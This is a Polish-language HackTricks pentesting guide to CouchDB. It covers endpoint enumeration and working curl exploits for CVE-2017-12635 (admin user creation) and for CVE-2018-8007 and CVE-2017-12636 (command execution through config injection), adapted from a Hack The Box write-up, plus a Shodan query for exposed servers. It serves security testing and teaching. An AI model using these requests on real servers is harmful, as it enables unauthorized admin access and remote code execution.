5984,6984 - Pentesting CouchDB
Reading time: 12 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
CouchDB to wszechstronna i potężna baza danych zorientowana na dokumenty, która organizuje dane za pomocą struktury mapy klucz-wartość w każdym dokumencie. Pola w dokumencie mogą być reprezentowane jako pary klucz/wartość, listy lub mapy, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu dokumentowi przechowywanemu w CouchDB przypisany jest unikalny identyfikator (_id
) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje numer rewizji (_rev
). Ten numer rewizji umożliwia efektywne śledzenie i zarządzanie zmianami, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
Domyślny port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatyczna enumeracja
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Ręczna enumeracja
Baner
curl http://IP:5984/
Wysyła to żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej jak jedna z następujących:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
Zauważ, że jeśli uzyskując dostęp do głównego katalogu couchdb otrzymasz 401 Unauthorized
z czymś takim jak: {"error":"unauthorized","reason":"Authentication required."}
nie będziesz mógł uzyskać dostępu do banera ani żadnego innego punktu końcowego.
Info Enumeration
To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądania GET i wyodrębnić interesujące informacje. Możesz znaleźć więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb.
/_active_tasks
Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu./_all_dbs
Zwraca listę wszystkich baz danych w instancji CouchDB./_cluster_setup
Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra./_db_updates
Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych_global_changes
jest wymagane do korzystania z tego punktu końcowego./_membership
Wyświetla węzły, które są częścią klastra jakocluster_nodes
. Poleall_nodes
wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra./_scheduler/jobs
Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy./_scheduler/docs
Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanachcompleted
ifailed
. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Punkt końcowy/_node/{node-name}
może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne przy uzyskiwaniu dostępu do/_node/_local
, aby uzyskać te informacje./_node/{node-name}/_stats
Zasób_stats
zwraca obiekt JSON zawierający statystyki dla działającego serwera. Dosłowny ciąg_local
służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk,{node-name}
może być zastąpione_local
, aby interagować z lokalnymi statystykami węzła./_node/{node-name}/_system
Zasób _system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera_._ Możesz użyć ___local
jako {node-name}, aby uzyskać informacje o bieżącym węźle./_node/{node-name}/_restart
/_up
Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeślimaintenance_mode
jesttrue
lubnolb
, punkt końcowy zwróci odpowiedź 404./_uuids
Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB./_reshard
Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i wszystkich zadań wraz z stanem reshardingu w klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Jeśli ta prośba zwraca 401 nieautoryzowany, potrzebujesz ważnych poświadczeń do uzyskania dostępu do bazy danych:
curl -X GET http://user:password@IP:5984/_all_dbs
Aby znaleźć ważne dane logowania, możesz spróbować przeprowadzić atak brute force na usługę.
To jest przykład odpowiedzi couchdb, gdy masz wystarczające uprawnienia do wyświetlenia listy baz danych (to tylko lista baz danych):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informacje o bazie danych
Możesz uzyskać informacje o bazie danych (takie jak liczba plików i rozmiary) uzyskując dostęp do nazwy bazy danych:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista dokumentów
Wymień każdy wpis w bazie danych
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Przeczytaj dokument
Przeczytaj zawartość dokumentu w bazie danych:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Eskalacja Uprawnień CVE-2017-12635
Dzięki różnicom między parserami JSON w Erlangu i JavaScript, możesz utworzyć użytkownika administratora z danymi uwierzytelniającymi hacktricks:hacktricks
za pomocą następującego żądania:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Więcej informacji na temat tej luki tutaj.
CouchDB RCE
Przegląd bezpieczeństwa ciasteczek Erlang
Przykład stąd.
W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra (link), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port 5984
. Dodatkowo, port 5986
jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP 4369
dla Daemon Port Mapper Erlang (EPMD), co ułatwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne ostrzeżenie dotyczące portu 4369
. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko". To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang dla RCE tutaj.
Wykorzystywanie CVE-2018-8007 poprzez modyfikację local.ini
Przykład stąd.
Ostatnio ujawniona luka, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku local.ini
. Chociaż nie jest to bezpośrednio stosowane w początkowym systemie docelowym z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku local.ini
w celach eksploracyjnych. Szczegółowe kroki i przykłady kodu są podane poniżej, ilustrując proces.
Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik local.ini
jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Aby wykorzystać lukę, wykonywana jest komenda curl, celująca w konfigurację cors/origins
w local.ini
. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji [os_daemons]
, mając na celu wykonanie dowolnego kodu:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w local.ini
, porównując ją z kopią zapasową, aby uwydatnić zmiany:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Początkowo oczekiwany plik (/tmp/0xdf
) nie istnieje, co wskazuje, że wstrzyknięte polecenie nie zostało jeszcze wykonane. Dalsze badania ujawniają, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie mógłby wykonać wstrzyknięte polecenie:
root@canape:/home/homer/bin# ps aux | grep couch
Kończąc zidentyfikowany proces CouchDB i pozwalając systemowi na automatyczne jego ponowne uruchomienie, wywoływana jest egzekucja wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
To badania potwierdzają wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymaganie dostępu do zapisu do pliku local.ini
. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploitu w kontrolowanym środowisku.
Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z poradnikiem mdsec: CVE-2018-8007.
Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini
Przykład stąd.
Zbadano podatność znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać tę podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje poniższy wynik:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Dalsze dochodzenie ujawniło problemy z uprawnieniami do pliku local.ini
, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku z dostępem root lub homer, stało się możliwe kontynuowanie:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Kolejne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdza brak komunikatów o błędach w odpowiedzi. Sukces modyfikacji pliku local.ini
został potwierdzony poprzez porównanie plików:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Proces kontynuował się od utworzenia bazy danych i dokumentu, a następnie próby wykonania kodu za pomocą niestandardowego widoku mapującego do nowo dodanego serwera zapytań:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
Shodan
port:5984 couchdb
Odniesienia
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.